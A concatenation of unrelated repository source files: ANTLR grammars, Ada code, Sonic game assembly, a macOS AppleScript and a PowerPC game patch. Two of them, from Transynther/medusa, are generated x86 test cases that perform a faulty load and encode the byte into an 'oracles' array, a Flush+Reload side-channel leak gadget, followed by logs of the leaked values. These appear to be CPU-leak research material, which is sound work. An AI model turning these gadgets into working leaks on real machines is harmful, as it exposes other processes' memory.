nop
nop
nop
xor %r12, %r12
// Store
lea addresses_WT+0xdb91, %r12
nop
nop
nop
and %r14, %r14
movb $0x51, (%r12)
nop
nop
nop
nop
nop
inc %r12
// Store
lea addresses_normal+0xc011, %r14
nop
add $46159, %rcx
movl $0x51525354, (%r14)
nop
nop
sub %r12, %r12
// Load
lea addresses_PSE+0x9b4d, %r14
nop
xor $22160, %rdx
mov (%r14), %di
nop
nop
nop
nop
sub $17960, %r12
// REPMOV
lea addresses_D+0x16491, %rsi
lea addresses_WC+0x1bc91, %rdi
nop
and $56505, %r10
mov $68, %rcx
rep movsw
xor %r14, %r14
// Faulty Load
lea addresses_WC+0x1bc91, %rdx
nop
nop
nop
and $34678, %r12
mov (%rdx), %cx
lea oracles, %r10
and $0xff, %rcx
shlq $12, %rcx
mov (%r10,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D'}, 'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WC'}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
antlr-basics/src/main/java/com/poc/chapter_07_part01/gen/PropertyFile.g4 | cgonul/antlr-poc | 0 | 5127 | grammar PropertyFile;
file : prop+ ;
prop : ID '=' STRING NEWLINE ;
ID : [a-z]+ ;
STRING : '"' .*? '"' ;
NEWLINE:'\r'? '\n' ; // return newlines to parser (end-statement signal) |
build-utils/protocol-base-mspec/src/main/antlr4/org/apache/plc4x/plugins/codegenerator/language/mspec/MSpec.g4 | jixuan1989/plc4x | 0 | 7116 | <filename>build-utils/protocol-base-mspec/src/main/antlr4/org/apache/plc4x/plugins/codegenerator/language/mspec/MSpec.g4
grammar MSpec;
/*
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
*/
file
: complexTypeDefinition* EOF
;
complexTypeDefinition
: COMMENT
| LBRACKET complexType RBRACKET
;
complexType
: 'type' name=idExpression (LBRACKET params=argumentList RBRACKET)? fieldDefinition+
| 'discriminatedType' name=idExpression (LBRACKET params=argumentList RBRACKET)? fieldDefinition+
| 'enum' type=typeReference name=idExpression (LBRACKET params=argumentList RBRACKET)? enumValues=enumValueDefinition+
;
fieldDefinition
: LBRACKET field (LBRACKET params=multipleExpressions RBRACKET)? RBRACKET
;
field
: arrayField
| checksumField
| constField
| discriminatorField
| enumField
| implicitField
| manualArrayField
| manualField
| optionalField
| paddingField
| reservedField
| simpleField
| typeSwitchField
| virtualField
;
arrayField
: 'array' type=typeReference name=idExpression loopType=arrayType loopExpression=expression
;
checksumField
: 'checksum' type=dataType name=idExpression checksumExpression=expression
;
constField
: 'const' type=dataType name=idExpression expected=expression
;
discriminatorField
: 'discriminator' type=dataType name=idExpression
;
enumField
: 'enum' type=typeReference name=idExpression
;
implicitField
: 'implicit' type=dataType name=idExpression serializationExpression=expression
;
manualArrayField
: 'manualArray' type=typeReference name=idExpression loopType=arrayType loopExpression=expression deserializationExpression=expression serializationExpression=expression lengthExpression=expression
;
manualField
: 'manual' type=typeReference name=idExpression deserializationExpression=expression serializationExpression=expression lengthExpression=expression
;
optionalField
: 'optional' type=typeReference name=idExpression condition=expression
;
paddingField
: 'padding' type=dataType name=idExpression paddingValue=expression paddingCondition=expression
;
reservedField
: 'reserved' type=dataType expected=expression
;
simpleField
: 'simple' type=typeReference name=idExpression
;
typeSwitchField
: 'typeSwitch' discriminators=multipleExpressions caseStatement*
;
virtualField
: 'virtual' type=typeReference name=idExpression valueExpression=expression
;
enumValueDefinition
: LBRACKET valueExpression=expression name=IDENTIFIER (LBRACKET constantValueExpressions=multipleExpressions RBRACKET)? RBRACKET
;
typeReference
: complexTypeReference=IDENTIFIER
| simpleTypeReference=dataType
;
caseStatement
: LBRACKET (discriminatorValues=multipleExpressions)? name=IDENTIFIER (LBRACKET params=argumentList RBRACKET)? fieldDefinition* RBRACKET
;
dataType
: base='bit'
| base='int' size=INTEGER_LITERAL
| base='uint' size=INTEGER_LITERAL
| base='float' size=INTEGER_LITERAL
| base='string'
;
argument
: type=typeReference name=idExpression
;
argumentList
: argument (',' argument)*
;
expression
: TICK expr=innerExpression TICK
;
multipleExpressions
: expression (',' expression)*
;
innerExpression
: 'A' | 'B' | 'C' | 'D' | 'E' | 'F'
| HEX_LITERAL
| INTEGER_LITERAL
| (IDENTIFIER | arrayType) ('(' (innerExpression (',' innerExpression)* )? ')')? ('[' innerExpression ']')?
| innerExpression '.' innerExpression // Field Reference or method call
| innerExpression '[' + INTEGER_LITERAL + ']' // Array index
| innerExpression BinaryOperator innerExpression // Addition
| innerExpression '?' innerExpression ':' innerExpression
| '(' innerExpression ')'
| '"' innerExpression '"'
| '!' innerExpression
;
COMMENT
: K_COMMENT [a-zA-Z0-9,.'":;()/ \t\r\n\u000C-]*
| '//' [a-zA-Z0-9,.'":;()/ \t-]*
;
INTEGER_LITERAL
: [0-9]+
;
HEX_LITERAL
: HexNumeral
;
fragment HexNumeral
: '0' [xX] HexDigit HexDigit?;
fragment HexDigit
: [0-9a-fA-F]
;
arrayType
: 'count'
| 'length'
| 'terminated'
;
idExpression
: TICK id=IDENTIFIER TICK
;
fragment K_COMMENT : '<--';
TICK : '\'';
TIMES : 'x';
LBRACKET : '[';
RBRACKET : ']';
LCBRACKET : '{';
RCBRACKET : '}';
BinaryOperator
: '+'
| '-'
| '/'
| '*'
| '=='
| '!='
| '>'
| '<'
| '>='
| '<='
| '&&'
| '||'
| '%'
;
ZERO : '0';
HEX_VALUE : [0-9A-F];
IDENTIFIER
: [A-Za-z0-9_-]+
;
WS : [ \t\r\n\u000C]+ -> skip
; |
generated/natools-static_maps-web-simple_pages-commands.adb | faelys/natools-web | 1 | 19266 | <filename>generated/natools-static_maps-web-simple_pages-commands.adb<gh_stars>1-10
with Interfaces; use Interfaces;
package body Natools.Static_Maps.Web.Simple_Pages.Commands is
P : constant array (0 .. 3) of Natural :=
(1, 4, 7, 8);
T1 : constant array (0 .. 3) of Unsigned_8 :=
(10, 0, 13, 16);
T2 : constant array (0 .. 3) of Unsigned_8 :=
(6, 10, 1, 21);
G : constant array (0 .. 29) of Unsigned_8 :=
(0, 0, 9, 10, 4, 2, 10, 0, 1, 3, 0, 7, 0, 0, 0, 0, 11, 6, 0, 8, 2, 0,
0, 0, 0, 0, 0, 8, 0, 0);
function Hash (S : String) return Natural is
F : constant Natural := S'First - 1;
L : constant Natural := S'Length;
F1, F2 : Natural := 0;
J : Natural;
begin
for K in P'Range loop
exit when L < P (K);
J := Character'Pos (S (P (K) + F));
F1 := (F1 + Natural (T1 (K)) * J) mod 30;
F2 := (F2 + Natural (T2 (K)) * J) mod 30;
end loop;
return (Natural (G (F1)) + Natural (G (F2))) mod 14;
end Hash;
end Natools.Static_Maps.Web.Simple_Pages.Commands;
|
_incObj/Sonic RollRepel.asm | kodishmediacenter/msu-md-sonic | 9 | 103024 | <gh_stars>1-10
; ---------------------------------------------------------------------------
; Subroutine to push Sonic down a slope while he's rolling
; ---------------------------------------------------------------------------
; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
Sonic_RollRepel:
move.b obAngle(a0),d0
addi.b #$60,d0
cmpi.b #-$40,d0
bcc.s locret_13544
move.b obAngle(a0),d0
jsr (CalcSine).l
muls.w #$50,d0
asr.l #8,d0
tst.w obInertia(a0)
bmi.s loc_1353A
tst.w d0
bpl.s loc_13534
asr.l #2,d0
loc_13534:
add.w d0,obInertia(a0)
rts
; ===========================================================================
loc_1353A:
tst.w d0
bmi.s loc_13540
asr.l #2,d0
loc_13540:
add.w d0,obInertia(a0)
locret_13544:
rts
; End of function Sonic_RollRepel |
src/ado-drivers-dialects.adb | Letractively/ada-ado | 0 | 24467 | <gh_stars>0
-----------------------------------------------------------------------
-- ADO Dialects -- Driver support for basic SQL Generation
-- Copyright (C) 2010, 2011, 2012 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
package body ADO.Drivers.Dialects is
-- --------------------
-- Check if the string is a reserved keyword.
-- --------------------
function Is_Reserved (D : in Dialect;
Name : in String) return Boolean is
begin
return D.Keywords.Contains (Name'Unrestricted_Access);
end Is_Reserved;
-- --------------------
-- Add a set of keywords to be escaped.
-- --------------------
procedure Add_Keywords (D : in out Dialect;
Keywords : in Keyword_Array) is
begin
for I in Keywords'Range loop
D.Keywords.Insert (Keywords (I));
end loop;
end Add_Keywords;
-- --------------------
-- Get the quote character to escape an identifier.
-- --------------------
function Get_Identifier_Quote (D : in Dialect) return Character is
pragma Unreferenced (D);
begin
return '`';
end Get_Identifier_Quote;
-- ------------------------------
-- Append the item in the buffer escaping some characters if necessary.
-- The default implementation only escapes the single quote ' by doubling them.
-- ------------------------------
procedure Escape_Sql (D : in Dialect;
Buffer : in out Unbounded_String;
Item : in String) is
pragma Unreferenced (D);
C : Character;
begin
for I in Item'Range loop
C := Item (I);
if C = ''' then
Append (Buffer, ''');
end if;
Append (Buffer, C);
end loop;
end Escape_Sql;
-- ------------------------------
-- Append the item in the buffer escaping some characters if necessary
-- ------------------------------
procedure Escape_Sql (D : in Dialect;
Buffer : in out Unbounded_String;
Item : in ADO.Blob_Ref) is
pragma Unreferenced (D);
use type Ada.Streams.Stream_Element;
C : Ada.Streams.Stream_Element;
Blob : constant ADO.Blob_Access := Item.Value;
begin
for I in Blob.Data'Range loop
C := Blob.Data (I);
case C is
when Character'Pos (ASCII.NUL) =>
Append (Buffer, '\');
Append (Buffer, '0');
when Character'Pos (ASCII.CR) =>
Append (Buffer, '\');
Append (Buffer, 'r');
when Character'Pos (ASCII.LF) =>
Append (Buffer, '\');
Append (Buffer, 'n');
when Character'Pos ('\') | Character'Pos (''') | Character'Pos ('"') =>
Append (Buffer, '\');
Append (Buffer, Character'Val (C));
when others =>
Append (Buffer, Character'Val (C));
end case;
end loop;
end Escape_Sql;
end ADO.Drivers.Dialects;
|
Scripts Pack Source Items/Scripts Pack/Core Components/Metal Window Appearance (10.4.11).applescript | Phorofor/ScriptsPack.macOS | 1 | 3047 | <reponame>Phorofor/ScriptsPack.macOS<filename>Scripts Pack Source Items/Scripts Pack/Core Components/Metal Window Appearance (10.4.11).applescript
# Scripts Pack - Tweak various preference variables in macOS
# <Phorofor, https://github.com/Phorofor/>
-- Allows the use of a metal window background for dialogs and the windows
-- Use the Metal Window Appearance. Partially works.
-- Versions compatible: Tiger (10.4.11)+
-- Preference Identifier:
-- Preference Key: NSGrayBackground
-- Preference location: ~/Library/Preferences/.GlobalPreferences.plist
-- Default value (boolean): 0
set toggleBut to "Enable"
set tZ to "enable"
set sTz to "YES"
set bT to "You chose to enable the metal window appearance."
# set MacVer to do shell script "sw_vers -productVersion"
set MacVer to "10.4.11"
set Min to "10.4.11" as string
if MacVer < Min then
display alert "Outdated Mac OS Version!" message "You're using Mac OS " & MacVer & ". The metal window appearance isn't available for your current version of Mac OS. You must be using Mac OS Tiger " & Min & " or later in order for this to work!" buttons ["OK", "More Information"] as warning cancel button 1
do shell script "open http://support.apple.com/kb/TA24901"
else
try
set prValue to do shell script "defaults read -g NSGrayBackground -bool"
if prValue = "0" then
set psValue to "The metal window appearance is disabled."
else
set psValue to "The metal window appearance is enabled. In places such as System Preferences, you'll be able to see the metal windows and dialogs."
set toggleBut to "Disable"
set tZ to "disable"
set sTz to "NO"
set bT to "You chose to disable the metal window appearance."
end if
on error
set psValue to "The metal window appearance is disabled by default."
end try
display alert "Would you like to " & tZ & " the metal window appearance?" message "If enabled, most of the windows and dialog boxes will have a gray background appearance giving it a classic feel. This may not work for all applications." & return & return & psValue buttons {"Cancel", "Clear", toggleBut} cancel button 1 default button 3
if the button returned of the result is toggleBut then
do shell script "defaults write -g NSGrayBackground -bool " & sTz
else
do shell script "defaults delete -g NSGrayBackground"
set bT to "You've decided to clear the preference."
end if
display alert "Changes Applied" message bT & " The change will take effect the next time you open an application/restart an application that is in use. The change may not work for some applications." buttons ["OK"]
end if |
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2804.asm | ljhsiun2/medusa | 9 | 174570 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1ac8e, %r11
nop
nop
nop
nop
nop
and $19469, %r13
mov $0x6162636465666768, %rdx
movq %rdx, %xmm3
movups %xmm3, (%r11)
nop
nop
cmp $33538, %rax
lea addresses_A_ht+0x428e, %rsi
lea addresses_UC_ht+0x1d88e, %rdi
nop
nop
nop
dec %r14
mov $61, %rcx
rep movsw
nop
nop
nop
nop
and %r14, %r14
lea addresses_WT_ht+0x31c0, %rsi
nop
nop
nop
nop
nop
dec %rdx
mov $0x6162636465666768, %rax
movq %rax, %xmm7
and $0xffffffffffffffc0, %rsi
vmovntdq %ymm7, (%rsi)
cmp %rdx, %rdx
lea addresses_WT_ht+0x188e, %r14
nop
sub %rdi, %rdi
mov (%r14), %si
nop
nop
nop
xor $36288, %r11
lea addresses_WC_ht+0x680e, %rsi
lea addresses_normal_ht+0x368e, %rdi
nop
nop
nop
nop
nop
dec %r14
mov $43, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $13243, %rax
lea addresses_D_ht+0x1646c, %rsi
lea addresses_A_ht+0x1446, %rdi
nop
nop
nop
nop
and %r13, %r13
mov $83, %rcx
rep movsw
nop
cmp $51144, %r11
lea addresses_WC_ht+0x18622, %rsi
lea addresses_D_ht+0x969a, %rdi
clflush (%rdi)
sub %r13, %r13
mov $50, %rcx
rep movsw
nop
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x171be, %rsi
lea addresses_normal_ht+0x108be, %rdi
nop
nop
nop
nop
xor $55898, %rdx
mov $122, %rcx
rep movsq
nop
nop
nop
nop
add %r13, %r13
lea addresses_D_ht+0x15f8e, %rdx
xor $64452, %r14
mov $0x6162636465666768, %rax
movq %rax, %xmm4
movups %xmm4, (%rdx)
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0x19a0, %rcx
inc %rdi
mov (%rcx), %r14
dec %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %rax
push %rbp
push %rdi
push %rsi
// Store
lea addresses_UC+0x818e, %r15
nop
nop
nop
cmp %rbp, %rbp
mov $0x5152535455565758, %rax
movq %rax, %xmm7
movups %xmm7, (%r15)
nop
xor %r14, %r14
// Store
lea addresses_UC+0xd48e, %rsi
nop
nop
and %rdi, %rdi
movw $0x5152, (%rsi)
nop
nop
nop
nop
add $49177, %rax
// Load
lea addresses_WT+0x17604, %rdi
nop
nop
nop
nop
nop
and $46396, %r15
movups (%rdi), %xmm6
vpextrq $1, %xmm6, %rbp
nop
nop
nop
nop
dec %rax
// Load
lea addresses_PSE+0x1598e, %rsi
nop
nop
nop
nop
sub %rbp, %rbp
mov (%rsi), %r14
nop
nop
nop
nop
nop
xor $52277, %r15
// Faulty Load
lea addresses_WT+0x88e, %r14
xor %r8, %r8
vmovups (%r14), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rax
lea oracles, %rsi
and $0xff, %rax
shlq $12, %rax
mov (%rsi,%rax,1), %rax
pop %rsi
pop %rdi
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WT_ht', 'same': True, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
asm/patches/shopsanity.asm | erose524/sslib | 0 | 174374 | <gh_stars>0
.open "d_a_shop_sampleNP.rel"
.org 0x11A0
; in function that sets up the shopitem classes, check if this
; is an item that uses the patched extra wallet class
bl check_needs_custom_storyflag_subtype
; patches to make the extra wallet class use the last 2 bytes of the shop sample list as storyflag to check if it's sold out
.org 0xAA0
nop ; checks if the extra wallet bought counter is >= 3, even though this should never be met, nop the branch anyways
; end of function that gives the item, change it so that it sets the storyflag for having bought this shop item
.org 0xACC
lhz r31, 0xC(r3) ; load itemid
lhz r3, 0x52(r3) ; load storyflag to set
li r4, 1 ; storyflag will be set to true
bl setStoryflagToValue
mr r3, r31
li r4, -1
li r5, 0
bl giveItem
lwz r0, 0x14(r1)
lwz r31, 0xC(r1)
lwz r30, 0x8(r1)
mtlr r0
addi r1,r1,0x10
blr
; this is the function that checks, if the extra wallet class is supposed to be sold out
; and advance to the next item in the chain
